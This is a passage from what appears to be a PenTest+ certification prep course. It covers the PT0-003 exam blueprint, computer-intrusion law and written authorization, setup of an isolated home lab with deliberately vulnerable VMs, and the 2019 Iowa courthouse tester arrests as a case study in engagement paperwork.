PenTest+ Certification Prep

One exam on sale, one in draft

On 17 December 2024 CompTIA launched exam PT0-003, the third version of PenTest+, its certification for penetration testers. The second version, PT0-002, retired on 17 June 2025, so PT0-003 is the only PenTest+ exam you can book today. CompTIA's PenTest+ page says an exam usually retires about three years after launch, and it estimates 2027 for PT0-003, but it has not announced a date.

The next version already exists on paper. CompTIA's page of exam objectives under development lists a draft for PenTest+ V4, exam PT0-004, in document version 1.1, copyright 2026. Its number of questions, length and passing score all read "TBD", its domains carry no weights yet, and no launch date has been announced. This course follows PT0-003, objective by objective. If you will sit the exam after PT0-004 launches, check the retirement date CompTIA announces for PT0-003 before you book, and map this course onto the final V4 objectives when they are published.

Before you study for any test, read its specification. This lesson works through the PT0-003 specification in order: who it is written for, how it is weighted, what the questions look like, how they are scored, and which rules apply before you book. It also sets out the safety rules that every later lesson follows. The lab at the end turns the blueprint into a tracker you will use for the rest of the course.

Exam objectives: none directly. The lesson maps all twenty-six PT0-003 objectives, 1.1 to 5.4, to the lessons that teach them.

Who the exam is written for

CompTIA recommends three to four years of experience in a penetration tester job role, with the knowledge of Network+ and Security+ or the equivalent. A penetration tester is hired to attack an organization's systems the way a real adversary would, with the organization's written permission, and then to explain what they found and how to fix it. That permission is the entire difference between the job and a crime, which is why the next two lessons spend so long on it.

The opening section of the PT0-003 objectives document says what a certified candidate can do. In paraphrase, there are four abilities. You can plan and scope a test and gather information for it. You can carry out attacks that stay inside legal and compliance requirements. You can work through every phase of a test with suitable tools and tactics, techniques and procedures, adapting the tools where needed. And you can analyze the results to write a report, communicate the findings to stakeholders, and recommend practical fixes. Notice that two of the four abilities are about planning and reporting, not attacking.

This course assumes the material of the site's Security+ Certification Prep and, behind it, Network+ Certification Prep. When a lesson leans on them, for example on the TCP handshake, Kerberos or certificate chains, it gives a short reminder and points you back rather than teaching the topic twice.

Key idea: PenTest+ tests the person who plans, carries out and reports an authorized attack. Expect questions that hand you a scope document, a scan result or a log excerpt and ask what you should do next, or what you should write down.

PT0-003 and the PT0-004 draft side by side

Here are the two versions as CompTIA's pages and documents described them on 3 November 2026.

Two things stand out. The draft puts reporting into the name of its first domain and adds a sixth domain on automation and AI, so those topics are growing. And a draft is a draft: CompTIA says the draft documents are taken down and replaced by final objectives when development ends, so nothing in it is settled. The exam you can study for with certainty is PT0-003.

Key idea: plan your time by PT0-003's weights. Attacks and exploits carry 35 percent, the largest single share. The other 65 percent is planning, finding, validating, moving and cleaning up. A candidate who studies only attacks has studied a minority of the test.

Five domains, twenty-six objectives

The objectives document splits each domain into numbered objectives and lists example topics under each one. The table paraphrases every objective and names the lessons that teach it. Download the document from CompTIA (linked in the Sources) and keep it beside the course: it is the nearest thing you have to the exam's own syllabus.

Look at the verbs. Eighteen of the twenty-six objectives begin "Given a scenario". Those are where you should expect to be handed evidence, such as a scope statement, an Nmap result or a web request, and asked to act on it. The other eight ask you to summarize, explain, or compare and contrast. An "explain" objective still needs real understanding, because the exam rarely asks for a bare definition; it describes a situation and asks which concept fits.

Many scenario objectives use the word "perform": perform network attacks, perform authentication attacks, and so on. On the exam, a question of that kind puts you in an authorized engagement and asks which technique, tool, option or next step fits, or what a piece of output means. This course teaches those decisions in full. It does not hand you attack recipes, and a later section of this lesson explains why.

Three more details from the document matter. First, it warns that its bulleted lists are examples rather than complete lists, so other tools and tasks that belong to an objective can appear.

Second, it has a few slips. Its acronym list expands BIA as "Business Intelligence Analytics", but objective 1.2 lists business impact analysis, which is what BIA means in risk work. Objective 5.2 writes "Window Management Instrumentation" and "Window Remote Management" for the Windows services WMI and WinRM. And the acronym list expands TTP as "Techniques, Tactics, Procedures"; NIST's glossary, like most of the field, says tactics, techniques and procedures. This course uses the correct forms and flags each slip where it arises.

Third, the document ends with a proposed list of lab hardware and software, which the study section below comes back to.

What the questions look like and how they are scored

CompTIA lists two question types: multiple-choice and performance-based. A multiple-choice item usually sets a short scene, such as a tester reviewing a scan or a client email, and asks for the best of several plausible answers. A performance-based question (PBQ) asks you to do something: put attack phases in order, match tools to tasks, read output and pick findings, or complete part of a report.

CompTIA's explainer describes two kinds of PBQ. Simulations imitate a tool or environment with restricted functions. Virtual PBQs run real operating systems. PenTest+ appears only in its list of exams with simulations, and four rules about simulations are worth knowing before the day:

• A simulation has a reset button, so a wrong first step is recoverable.
• You can skip a simulation and return to it later; your work is saved as you go.
• Partial credit may be given, so a mostly correct answer is worth finishing.
• Scoring allows for more than one valid way of solving the task.

Now the arithmetic. If you sit all 90 questions and use the full 165 minutes, you have 165 divided by 90, about 1.83 minutes, or 1 minute 50 seconds per question on average. PBQs take longer than that and many multiple-choice items take less, which is why the time plan in Lesson 30 budgets them separately.

The passing score is 750 on a scale from 100 to 900. That scale is not a percentage of questions answered correctly, and you should not try to convert it into one. CompTIA's exam development page says its exams are criterion-referenced: your result is compared with a fixed cut score for minimal competence in the job role, not with the other people who tested that month. CompTIA does not disclose pass rates.

Key idea: a simulation can be reset, skipped and revisited, and can earn partial credit, so the worst strategy is to sink fifteen minutes into one early and leave easier points unanswered at the end.

Rules before you book

• Delivery. Pearson VUE delivers CompTIA exams, including online through its OnVUE remote proctoring service, which begins with photos of your testing space and a room scan.
• Candidates 17 and under. Since 23 June 2026, CompTIA's candidate ID policy has required a parent's consent through CompTIA Central before a minor registers, and a parent no longer has to come to the test center. The minor still needs authorization for each testing event and one photo ID, and a school ID is acceptable. For online exams, CompTIA's exam delivery policies still say a guardian must be present at check-in and show government-issued ID. The two pages can change separately, so read both before you book.
• Retakes. There is no waiting period between a first and a second attempt. Before a third or later attempt you must wait at least fourteen calendar days from your last one. You cannot retake an exam code you have already passed, and every attempt is paid for in full.
• Renewal. CompTIA certifications expire three years from the certification date. PenTest+ is renewed with 60 continuing education units (CEUs) earned within that cycle, plus CompTIA's annual continuing education fees. Earning a qualifying certification instead, which for PenTest+ means SecurityX or CySA+, renews it in full, and the fees are then waived.
• Price. When this lesson was checked, CompTIA's PenTest+ page pointed to its Buy now section rather than quoting a price, so this course states none. Check CompTIA's store for your country.

One more rule is ethical. The objectives document says CompTIA does not condone "brain dumps", sites that sell or share real exam questions, and that candidates who use them will have their certifications revoked and be suspended from future testing. Every question in this course was written for the course; none comes from the exam.

CompTIA and PenTest+ are trademarks of CompTIA, which does not endorse this course. No course can honestly promise that you will pass. What it can do is teach the objectives properly and give you the right kind of practice.

The rules this course works by

Penetration testing is unusual among IT jobs: its central skill is a crime when it is done without permission. The same port scan, password guess or crafted web request is professional work inside a signed engagement and an offence outside one. So the course works by five rules, and they hold in every lesson.

1. Everything is authorized. Every scenario in a lesson or a quiz is an engagement with written permission from someone entitled to give it. Lessons 3 and 4 show what that permission looks like.
2. Your lab, and only your lab. Lesson 2 builds an isolated lab on your own computer: deliberately vulnerable virtual machines on a host-only network with no route to the internet or to anyone else's systems. Before every lab that touches a target, the lesson repeats the warning: testing a system without its owner's written permission is illegal and wrong, under laws such as the US Computer Fraud and Abuse Act and the UK Computer Misuse Act.
3. Hands-on means discovery, enumeration and verification. The commands you type find hosts, list services, read banners, check configurations and confirm findings, and they point only at your lab's private addresses.
4. Attacks as mechanisms, not recipes. For each attack the exam names, you learn what it does, the weakness it relies on, how defenders detect and prevent it, and how a tester reports it. You will not find exploit code, payloads, malware, lure messages, or steps for slipping past defenses in this course.
5. Reporting gets its full weight. Every attack lesson ends with how the finding is written up and fixed, and Module 9 spends three lessons on communication, reports and remediation.

There is a cost to these rules, and you should know it. A text course cannot give you the practiced hands that come from hundreds of hours on supervised engagements and purpose-built training ranges, which is where professional testers build them. What the exam's simulations ask, though, is that you choose correctly and read results correctly, and that is exactly what the lessons and your lab train.

How to study with this course

Two study habits have unusually strong evidence behind them. In a 2013 review of ten learning techniques, John Dunlosky and four colleagues rated practice testing and distributed practice, meaning study spread out over time, as high utility. Highlighting and rereading rated low, because their gains were inconsistent.

The course is built around the high-utility pair. Every lesson ends with ten scenario questions, and every explanation says why the right answer is right. Take each quiz on the day you finish the lesson, then again a week later before you reread anything. Record which objective each missed question belongs to, and let the misses, not the lesson order, decide what you review. Expect the second attempt to feel harder than the first: that effort is part of the learning.

The objectives document's proposed lab list is long. Its hardware includes wireless adapters capable of packet injection, a directional antenna, NFC and RFID cloning equipment, a lock pick kit, a programmable logic controller and a software-defined radio kit. Its software includes penetration testing frameworks, scanners, credential testing tools, web proxies, command-and-control tools and access to a cloud environment.

This course uses only the free software on that list, on your own computer, and no radio or cloning hardware. Cloud and wireless topics are taught from documentation and published sample data instead: a cloud free tier asks for a credit card, and radio testing reaches into airspace you share with your neighbors.

Common misconceptions

• "PenTest+ is an exploitation exam." Attacks and exploits are 35 percent. Scoping, reconnaissance, vulnerability analysis, post-exploitation and reporting make up the rest, and two of CompTIA's four headline abilities are planning and reporting.
• "Once I pass, I am allowed to test systems." A certification is not a license or a permission. Authority to test comes only from the system's owner, in writing, for a defined scope.
• "A 750 means I need about 83 percent." The 100-900 scale is a reported score compared with a cut score; it is not a percentage of items answered correctly.
• "I should wait for PT0-004." It has no launch date, no weights and no question count, and drafts change. PT0-003 is the exam you can book.
• "If a tool is not named in the objectives, it cannot appear." The document says its lists are examples. Learn what each kind of tool is for, so an unfamiliar name in a question does not throw you.

Where this leaves us

• PT0-003 launched on 17 December 2024 and is the only PenTest+ exam on sale; PT0-002 retired on 17 June 2025, and a PT0-004 draft has no launch date.
• PT0-003 allows at most 90 questions in 165 minutes, multiple-choice and performance-based, with a passing score of 750 on a 100-900 scale.
• Its five domains weigh 13, 21, 17, 35 and 14 percent: engagement management, reconnaissance and enumeration, vulnerability discovery and analysis, attacks and exploits, and post-exploitation and lateral movement.
• Eighteen "given a scenario" objectives need the most practice reading evidence and choosing actions.
• PenTest+ PBQs are simulations: they can be reset, skipped and revisited, and can earn partial credit.
• This course is authorized testing only, in your own isolated lab, with attacks taught as mechanisms and every finding carried through to a report and a fix.

Sources

1. CompTIA. (2026). CompTIA PenTest+ (exam details for V3, PT0-003; retrieved 3 November 2026). comptia.org
2. CompTIA. (2023). CompTIA PenTest+ PT0-003 V3 certification exam objectives (Exam Objectives Document Version 5.0, printed December 2024). CompTIA (PDF)
3. CompTIA. (2026). CompTIA exam objectives under development and DRAFT CompTIA PenTest+ V4 exam objectives (PT0-004, Exam Objectives Document Version 1.1). comptia.org; CompTIA (draft PDF)
4. CompTIA. (n.d.). Performance-based questions. comptia.org
5. CompTIA. (n.d.). Exam development, Exam delivery policies, Candidate ID policy and CompTIA certification retake policy. comptia.org (development); comptia.org (delivery); comptia.org (candidate ID); comptia.org (retakes)
6. CompTIA. (n.d.). Certification renewal policy, Earn continuing education units (CEUs), Earn a higher-level CompTIA certification and CompTIA continuing education program FAQ. comptia.org (renewal); comptia.org (CEUs); comptia.org (higher-level); comptia.org (fees)
7. National Institute of Standards and Technology. (n.d.). Tactics, techniques, and procedures (TTP). Computer Security Resource Center glossary. csrc.nist.gov
8. Dunlosky, J., Rawson, K. A., Marsh, E. J., Nathan, M. J., and Willingham, D. T. (2013). Improving students' learning with effective learning techniques: Promising directions from cognitive and educational psychology. Psychological Science in the Public Interest, 14(1), 4-58. Summary at Association for Psychological Science

A port scan in Cherokee County

In December 1999 Scott Moulton was a consultant maintaining the emergency 911 system for Cherokee County, Georgia. He was setting up a router to link the Canton police department to the 911 center. He worried that the new connection might weaken the center's security, so he ran some preliminary port scans of the networks involved. One of the machines he scanned was a county web server owned and run by a competing firm, VC3. VC3 noticed, emailed him, and then reported him to the police.

Moulton lost his 911 maintenance contract and was arrested under the Computer Fraud and Abuse Act. VC3 claimed damages for the time it spent investigating. A civil court eventually held that his unauthorized port scan did not violate the federal law or Georgia's, and the criminal charges were dropped. Gordon Lyon, the author of Nmap, tells this story in his book on the tool and notes what the victory cost: six-figure legal bills and years of stress. His advice is short. Get written authorization from the target network's representatives before you scan.

A port scan is the gentlest thing a penetration tester does. If one scan of the wrong machine can cost a contract and bring an arrest, everything else in this course needs a firmer footing. This lesson gives it one: the laws that draw the line, the written permission that keeps you on the right side of it, and an isolated lab on your own computer where every later exercise happens.

Exam objectives: introduces 1.1 (legal and ethical considerations, including authorization letters), which Lessons 3 and 4 complete. The lab built here is used by every later lab.

The rules in one table

Two statutes, one court decision and one prosecutors' policy cover most of what you need. The table paraphrases each and says what it means for a tester.

Read the Van Buren row closely, because it shapes how scopes are written. Nathan Van Buren, a Georgia police sergeant, used his own valid login to search a license-plate database for money, against department policy. The Supreme Court decided the case on 3 June 2021, six votes to three, in an opinion by Justice Amy Coney Barrett. It held that the "exceeds authorized access" clause asks a gates-up-or-down question: could you enter that part of the system at all? Misusing information you were allowed to reach is a matter for other rules.

For a tester the lesson runs the other way. Your gates are whatever the client opened in writing, and every system outside the list is a gate that is down.

Other countries draw the line differently, and some draw it tighter. Lyon's legal chapter records a 17-year-old in Finland convicted of attempted computer intrusion for port scanning a bank, and fined the cost of the investigation. If you test anywhere outside the US and the UK, the local law applies, and a client's lawyer should confirm it before the work starts.

Remember: "it is probably legal" is not a standard a tester works to. You work inside a written authorization from someone entitled to give it, or on equipment you own.

What counts as permission

On a real engagement, permission arrives as a set of signed documents: a contract, a statement of work, rules of engagement and an authorization letter. Lessons 3 and 4 take them apart. For now, three tests separate real permission from the kind that fails when it matters.

1. The right person gives it. The owner of the systems, or someone with documented authority to speak for the owner. An administrator who looks after a server does not necessarily have the authority to let you attack it.
2. It is written. A conversation cannot be shown to a police officer at midnight or to a court a year later.
3. It is specific. It names the systems, the dates and times, and the kinds of testing allowed. "Feel free to look around" is not a scope.

In this course the systems are your own computer and the virtual machines you build on it, so you are the owner. You will still write a short scope for your lab, because the habit is what protects you later. If the computer belongs to a school or an employer, get written permission from its owner before you install a hypervisor or any security tool on it.

Remember: testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. That sentence opens every lab in this course that touches a target, starting with this one.

The parts of the lab

The lab has to do three things: run the testing tools, give you deliberately vulnerable systems that are yours to probe, and keep everything inside it from reaching anyone else. Every part is free.

Metasploitable's own guide is blunt: the image should never be exposed to a hostile network. DVWA's documentation says the same of DVWA: never put it on an internet-facing server. These machines are built to be broken into. The lab's design exists to make sure the only person who can reach them is you.

None of these downloads needs an account. Rapid7's download page asks for contact details; the SourceForge copy that Rapid7's documentation also lists does not. Pulling Juice Shop from Docker Hub needs no account either. But Docker's terms (effective 26 August 2026) govern anonymous downloads too. They require users to be at least 13, and users from 13 to 17 may use Docker's services only with the prior consent and supervision of a parent or guardian.

Building it, step by step

Work through the steps in order. Each one ends in something you can check.

1. Check virtualization. On Windows, open Task Manager, choose Performance, then CPU, and look for "Virtualization: Enabled". If it says disabled, the setting is in your computer's firmware (UEFI) menu.
2. Install VirtualBox. Download it from virtualbox.org and compare the file's SHA-256 hash with the checksum published on the downloads page before you run the installer.
3. Create a host-only network. In VirtualBox's Network Manager, add a host-only network with its DHCP server enabled. VirtualBox's host-only networks normally use addresses in 192.168.56.0/21; a first network is typically 192.168.56.0/24, with your host at 192.168.56.1. This network will hold your host and your lab VMs and nothing else.
4. Import Kali. Download the pre-built VirtualBox image from kali.org and check its SHA-256 hash. It arrives as a 7z archive: extract it, then choose Add in VirtualBox and select the .vbox file inside. Give the VM two adapters: adapter 1 on NAT, so it can download updates, and adapter 2 on the host-only network. Log in as kali / kali and change the password at once with passwd.
5. Update Kali and install Docker. While the NAT adapter is connected, run sudo apt update and sudo apt full-upgrade, then sudo apt install -y docker.io and sudo systemctl enable docker --now, as Kali's documentation gives them. Install ZAP for the web lessons with sudo apt install -y zaproxy. Fetch the Juice Shop image now, while you still have a route out: sudo docker pull bkimminich/juice-shop.
6. Snapshot Kali and name the snapshot "clean". A snapshot saves the VM's whole state, so any experiment can be undone in seconds.
7. Add the target. Download Metasploitable 2 (about 800 MB compressed), unzip it, and create a new VirtualBox VM of type Linux, Ubuntu (32-bit), using the existing disk file it contains. Give it exactly one adapter, on the host-only network: never NAT, never bridged. Snapshot it.
8. Cut Kali's route out. For lab sessions, set Kali's adapter 1 to "Not attached". VirtualBox describes this mode as a card with no cable plugged in. Reconnect it only when you need updates, and never while a target is running. Take a second Kali snapshot now and name it "isolated", because VirtualBox restores a VM's settings along with its disk: going back to "clean" would plug the NAT adapter back in.
9. Start Juice Shop on loopback only. On Kali, run sudo docker run -d -p 127.0.0.1:3000:3000 bkimminich/juice-shop, the command Juice Shop's own guide gives, then browse to 127.0.0.1:3000 in Kali's browser. The 127.0.0.1 in that command publishes the port on Kali's loopback interface only, so no other machine, not even your host, can reach the shop.

A note for Apple silicon Macs: install Kali from its Apple Silicon (ARM64) installer image, because the pre-built VirtualBox image is x86-64 only. VirtualBox on an Arm host runs only Arm guests, so it cannot run Metasploitable 2, a 32-bit x86 machine. A separate emulator such as QEMU can, but emulation is slow, so the simple answer is to skip the target VM. Juice Shop runs natively on Arm, and the lessons that use Metasploitable also give sample output to analyze.

Proving the lab is isolated

Isolation is something you test, not something you assume. Run these checks now and again whenever you change a VM's settings. First find each VM's address: ip -br addr on Kali, ifconfig on Metasploitable. This course writes Kali as 192.168.56.101 and Metasploitable as 192.168.56.102; use the addresses your own VMs show. The outward test aims at 192.0.2.1, an address reserved for documentation, so it troubles nobody even if isolation has failed.

The last row is your first scan. It is a host discovery sweep: it asks which addresses answer, without probing any ports. It is legal here for exactly the reason Moulton's scan was not clearly legal: you own every address in that range and wrote it into your scope. If a host you do not recognize appears, stop and find out what it is before going further.

Now run the same lab with one input changed. VirtualBox's manual sets out what each network mode lets a VM reach.

Suppose that, to save a step, you leave Metasploitable on VirtualBox's default NAT adapter. Nothing on the internet can start a connection to it, so it feels safe. But read the fifth column. A NAT VM can reach outward, so a machine full of published flaws now has a path to the internet. Also, your Kali VM, on its own separate NAT network, cannot even reach it to test it.

Switch it to bridged and the result is worse. It joins your home or campus network as a peer, so every device on that Wi-Fi, and anyone else connected to it, can reach a machine whose login and flaws are documented on the web.

Only host-only, or an internal network, gives a vulnerable machine the combination you want: reachable by your tester VM, unreachable by anything else.

DVWA's documentation recommends NAT for a machine running DVWA, and NAT does block unsolicited connections from outside. This course goes one step further and takes away the outbound path as well, because a deliberately vulnerable machine has no reason to talk to the internet at all.

Remember: the target's "Network is unreachable" is the most important result in this lesson. Check it again after every change you make.

What you will and will not do in this lab

Kali ships with hundreds of tools, including exploitation frameworks such as Metasploit. Having them installed is normal for a tester; what matters is what you point them at and why. In this course you will use Kali's discovery, enumeration and analysis tools against Metasploitable and Juice Shop: finding hosts, listing services, reading banners, running vulnerability scanners, observing web traffic in a proxy, and checking configurations. You will not run exploit modules, build payloads, or handle malware. The attack lessons teach how each attack works, what it leaves behind, how it is stopped and how it is reported, which is what the exam's questions test.

Three habits keep the lab safe. Shut the target VM down when you are not using it. Restore snapshots rather than repairing a broken VM by hand, so you always start from a known state, then rerun the isolation tests, because a restore brings back the adapter settings saved with the snapshot. And keep your lab notes, including the scope you are about to write, in one folder, the way you would keep records on a real engagement.

Common misconceptions

• "Port scanning is always legal" or "always illegal." Neither. No US federal law names it, but state laws, provider contracts and civil suits all apply, and other countries have convicted people for it. Scan what you own, or what someone with authority has listed in writing.
• "The Justice Department's policy protects good-faith researchers." It guides federal prosecutors. It is not a statute, it binds no state and no civil court, and it excludes research done to extort.
• "A VM on NAT is isolated." NAT blocks unsolicited inbound connections but lets the VM reach outward. Host-only or internal networking keeps a vulnerable machine in.
• "My own lab does not need a written scope." Legally you are the owner, but the habit of writing down what is in scope is what stops a stray scan of your router or your neighbor's network.
• "An administrator can authorize any test on the systems they run." Authority comes from the owner. Looking after a system is not the same as being entitled to let someone attack it.

Putting it together

• The CFAA punishes access without authorization or beyond it, and Van Buren defines "beyond" as entering areas that are off-limits to you; damage also opens the door to civil suits.
• The Justice Department's 2022 policy steers federal prosecutors away from good-faith research, but it creates no enforceable right and excludes extortion.
• The UK Computer Misuse Act covers unauthorised access, access with further intent, impairment, serious damage, and making or obtaining tools for those offences.
• Permission must come from the right person, in writing, and name specific systems, times and techniques.
• Your lab is VirtualBox, a Kali tester VM, Metasploitable 2 on host-only networking, and Juice Shop bound to Kali's loopback, with snapshots to undo mistakes.
• Prove isolation with tests, and never give a vulnerable VM a NAT or bridged adapter.

Sources

1. Computer Fraud and Abuse Act, 18 U.S.C. 1030. Legal Information Institute, Cornell Law School. law.cornell.edu
2. Van Buren v. United States, No. 19-783 (U.S. June 3, 2021), slip opinion and syllabus. Supreme Court of the United States. supremecourt.gov (PDF)
3. US Department of Justice. (2022). Justice Manual 9-48.000: Computer Fraud and Abuse Act (charging policy, including good-faith security research). justice.gov
4. Computer Misuse Act 1990, c. 18. legislation.gov.uk. legislation.gov.uk
5. Lyon, G. (2009). Legal issues. In Nmap network scanning: The official Nmap project guide to network discovery and security scanning. Insecure.Com LLC. nmap.org
6. Oracle. (n.d.). Virtual networking; Guest operating systems; Snapshots. In Oracle VirtualBox user guide for release 7.2; and Download VirtualBox. oracle.com (networking); oracle.com (guests); oracle.com (snapshots); virtualbox.org (downloads)
7. OffSec. (n.d.). Get Kali; Kali's default credentials; Installing Docker on Kali Linux; Kali Linux hard disk install (system requirements); Import pre-made Kali VirtualBox VM; kali-meta (what the default image contains). kali.org; kali.org (credentials); kali.org (Docker); kali.org (requirements); kali.org (import); kali.org (metapackages)
8. Rapid7. (n.d.). Metasploitable 2 and Metasploitable 2 exploitability guide (used here only for the VM's purpose, credentials, services and network warning). docs.rapid7.com; docs.rapid7.com (guide)
9. Kimminich, B. (n.d.). Running OWASP Juice Shop. In Pwning OWASP Juice Shop. pwning.owasp-juice.shop; DVWA project. (n.d.). Damn Vulnerable Web Application (README warning). github.com
10. Docker, Inc. (2026). Docker terms of use (effective 26 August 2026). docker.com

A letter with one wrong number

On 9 August 2019 three officials of the Iowa Judicial Branch's State Court Administration signed a letter for two penetration testers to carry. The testers, Gary DeMercurio and Justin Wynn, worked for the security firm Coalfire. The letter said Coalfire had been asked to test the court system's physical security. It listed what the testers might do: impersonate staff or contractors, use false pretenses to get into buildings, follow employees through doors, and enter restricted areas.

It also listed what they must not do: subvert alarms, force doors open, or enter areas that need protective equipment.

Below those lists were the three officials' office and mobile numbers, then their signatures. One mobile number was wrong.

Testers call a letter like this a "get out of jail free" letter, and the Iowa documents use the phrase too. About five weeks later, at around 1:45 in the morning, it was tested in exactly the situation it was written for, and it failed. This lesson follows the Iowa engagement through its documents, then uses it to teach the paperwork, the third parties, the laws and the personal risks that every engagement has to settle before anyone starts.

Exam objectives: 1.1 (agreement types; legal and ethical considerations, including authorization letters, mandatory reporting requirements and risk to the penetration tester; regulations, frameworks and standards for privacy and security; the shared responsibility model).

Three nights in September

The engagement was bigger than the buildings. A master agreement signed with Coalfire in January 2015 still governed the relationship. A 2019 service order and a set of rules of engagement (ROE) added network tests, application tests, phishing, phone pretexting, a wireless assessment and a physical assessment of three buildings. The buildings were the Judicial Branch Building and the Polk County Courthouse in Des Moines, and the Dallas County Courthouse in Adel. Testing ran from 19 August to 27 September, with the physical work set for 9 to 13 September.

The ROE described the physical work in a few short bullets. It could happen "during the day and evening". The testers could talk their way into areas, with "limited physical bypass", try to reach the internal network, and leave devices such as thumb drives behind. Elsewhere, in a section on assumptions, the same ROE said all testing was expected during normal business hours, Monday to Friday from 6 a.m. to 6 p.m. Mountain time. Iowa runs on Central time. Nobody resolved the conflict.

On the night of 9 September, building security later found, the testers began trying to enter the Judicial Branch Building at 9:13 p.m., got in at 9:52 and left at 12:21 a.m. The next morning the court system's IT manager found Wynn's calling card on his desk and emailed his congratulations. According to news reports, the pair entered the Polk County Courthouse shortly after midnight on 10 September. Court IT managers later said they did not know about that entry until it was in the news.

In the early hours of 11 September, Dallas County sheriff's deputies arrested both men inside the Dallas County Courthouse. Deputies phoned the court system's information security officer at about 1:45 a.m.; he believed the letter covered the test. They also phoned the IT director, who told them the testers were not supposed to be in courthouses after hours.

The sheriff's office took the position that the state court administration had no authority to allow after-hours access to a building the county owned. Nobody reached the third contact, because his number on the letter was wrong. Both men were charged with third-degree burglary and possession of burglar tools.

The charges were later reduced to misdemeanor trespass, and on 30 January 2020 prosecutors dropped them. The two testers then sued the county and its sheriff. In January 2026 Dallas County and its former sheriff agreed to pay them $600,000 to settle the suit, more than six years after the arrest.

What the investigators found

The Iowa Supreme Court asked the law firm Faegre Baker Daniels to investigate, and its report, dated 9 October 2019, is public. It found no deception or ill intent on either side. It reached four conclusions.

1. Red-team testing was misunderstood. Court staff had little experience with physical "red team" work and did not grasp that it might mean entering a building at night. Coalfire's previous test for them, in 2015, had kept to working hours and broken into nothing.
2. The agreement was ambiguous. It was spread across several documents: the master agreement, the service order, the ROE with its appendices, and the letter, titled a "Social Engineering Authorization" even though a night-time entry involves no social interaction. The hours clause and the "day and evening" bullet contradicted each other, and the letter said nothing about time of day.
3. Oversight was thin. No lawyer reviewed the documents before testing, and the testers went almost silent during the physical work.
4. Authority was unclear. Iowa's counties provide the courthouses. Whether the court administration could authorize entry to a county building, including its non-court areas, was a legal question nobody had settled.

Its recommendations read like a checklist for this whole module. Have a lawyer review security-testing contracts, and have the State Court Administrator sign off on any future test. Use fewer documents and more precise terms, with permitted and prohibited techniques spelled out and physical testing treated as its own category. Keep building entry to normal working hours. And confer with sheriffs and other officials who could be affected. One sentence from the report is worth remembering: safety should override any desire to conduct a stealthy assessment.

Why this matters: the failures in Iowa were failures of planning and oversight, not of technical skill. The testers did what the ROE appeared to allow. Objective 1.1 covers this paperwork, and Iowa shows why it earns its place: an engagement can fail here before anyone opens a tool.

The paperwork that makes a test lawful

The Iowa engagement used most of the agreement types the exam names. Each answers a different question, and a gap in any one of them leaves that question open.

Read the table for its gaps. The authorization letter is the only document a deputy will read at two in the morning, so it has to stand on its own. It needs to say:

• who the testers are
• the dates and hours
• the places
• what they may and may not do
• contacts who will answer the phone

Iowa's letter covered the techniques but not the hours, and one of its contacts could not be reached. Before any physical test, call every number on the letter yourself.

The layering matters too. Under a master agreement, each new project gets its own statement of work and ROE, so the paperwork for a later test can quietly inherit assumptions from an earlier one. Iowa's managers assumed 2019 would look like 2015. Nothing in the documents said so.

Why this matters: an NDA protects secrets, an MSA sets the standing legal terms, and an SoW defines the deliverables. Only the ROE and the authorization letter say what the testers may actually do, so those two documents are where precision counts most.

Who else has a say: third parties and shared responsibility

The county in the Iowa case was a third party: someone who owns, runs or shares part of the target and was not a party to the contract. Modern engagements are full of them. A web application may run on a cloud provider's servers, call a payment processor's API, sit behind a content delivery network and be managed by an outside IT company. Your client can authorize testing only of what it controls.

Cloud providers publish their own terms for this. Amazon Web Services lets customers test a listed set of their own resources, such as EC2 instances, RDS databases and Lambda functions, without asking first. Under that policy it forbids denial-of-service testing of any AWS asset. It also forbids port, protocol and request flooding, and DNS zone walking through Route 53. It asks for a separate simulated-events form before red-team exercises, phishing or command-and-control hosting.

Microsoft's rules for its cloud allow testing in your own tenant. They forbid denial of service, phishing of Microsoft staff and the use of credentials that are not yours. They also tell you to stop at an initial proof of concept and report any flaw in Microsoft's own services to its security response center.

AWS's policy is explicit that the customer answers for its testers: customers must make sure their tools are configured not to cause denial of service, and they are responsible for damage to AWS or other customers. So when a client asks you to "include our email provider, since we pay for it", check that provider's terms and get its permission in writing, or leave it out.

Laws and standards that ask for testing

Many engagements exist because a regulation or an industry standard asks for them. The objectives group them under security and privacy, and the exam expects you to recognize the main ones.

The privacy rules cut both ways. A test of a system that holds personal data will show some of that data to the tester: names in a database, messages in a mailbox, records on a file share. The scope documents should say what you may view, what you may keep as evidence (often a redacted screenshot rather than the data itself), where evidence is stored and when it is destroyed.

When someone must be told: mandatory reporting

A test can uncover things that the law or the contract says must be reported, and the right response is almost never to keep testing. The ROE should name who is told, by whom and how fast. Three cases come up most often.

• Evidence that someone else got there first. Web shells, unknown accounts or logs of an earlier intrusion mean the client may have a breach, and breach laws start clocks. Under GDPR Article 33, a controller must notify the regulator without undue delay and, where feasible, within 72 hours of becoming aware of a personal data breach, unless the breach is unlikely to put people's rights and freedoms at risk, and a processor must tell the controller without undue delay. Your job is to stop work on that system, preserve what you saw, and tell the client's named contact at once, not to save it for the report.
• Illegal content. If you find what appears to be child sexual abuse material, stop. Do not open more of it, copy it or move it, because possessing or sharing it is a serious crime, and escalate immediately to the client contact and legal counsel named in the ROE. In the US, federal law (18 U.S.C. 2258A) requires providers of electronic communication and remote computing services to report apparent child sexual abuse material to the National Center for Missing and Exploited Children, and the client's lawyers decide what the law requires of the client.
• Critical findings. A flaw that puts safety or large amounts of data at immediate risk is usually reported as soon as it is confirmed, through the escalation path in the ROE, rather than weeks later in the report.

Notice who reports to whom. In most cases the tester reports to the client, and the client, advised by its lawyers, reports to regulators or police. The ROE should settle this in advance, because two in the morning is not the time to work it out.

The risk to the tester

The exam lists risk to the penetration tester as a legal and ethical consideration of its own, and Iowa shows why. DeMercurio and Wynn were arrested and charged with felonies, the charges hung over them for months, and their lawsuit was settled only in January 2026. The engagement's own questionnaire had asked whether armed personnel worked at the sites, and for the Polk County Courthouse the answer was yes. A tester who startles an armed guard at night is in physical danger, not just legal trouble.

Practical protections follow from the case:

• Carry the authorization letter and photo ID, and check every contact number on the letter before the test.
• Agree in writing whether building security and local police will be told, and by whom. The investigators recommended conferring with sheriffs, and noted that little is lost by giving notice.
• Stop the moment you are challenged. Identify yourself, show the letter, keep your hands visible and let the contacts confirm you. Never run.
• Work in pairs, check in with the client at agreed times, and stop if a contact cannot be reached.
• Make sure your firm carries professional liability insurance and that the contract says who bears the cost if something breaks.

Why this matters: an authorization letter protects you only if the person who signed it had the authority to sign, the contacts answer, and its terms match what you are doing at that moment.

Common misconceptions

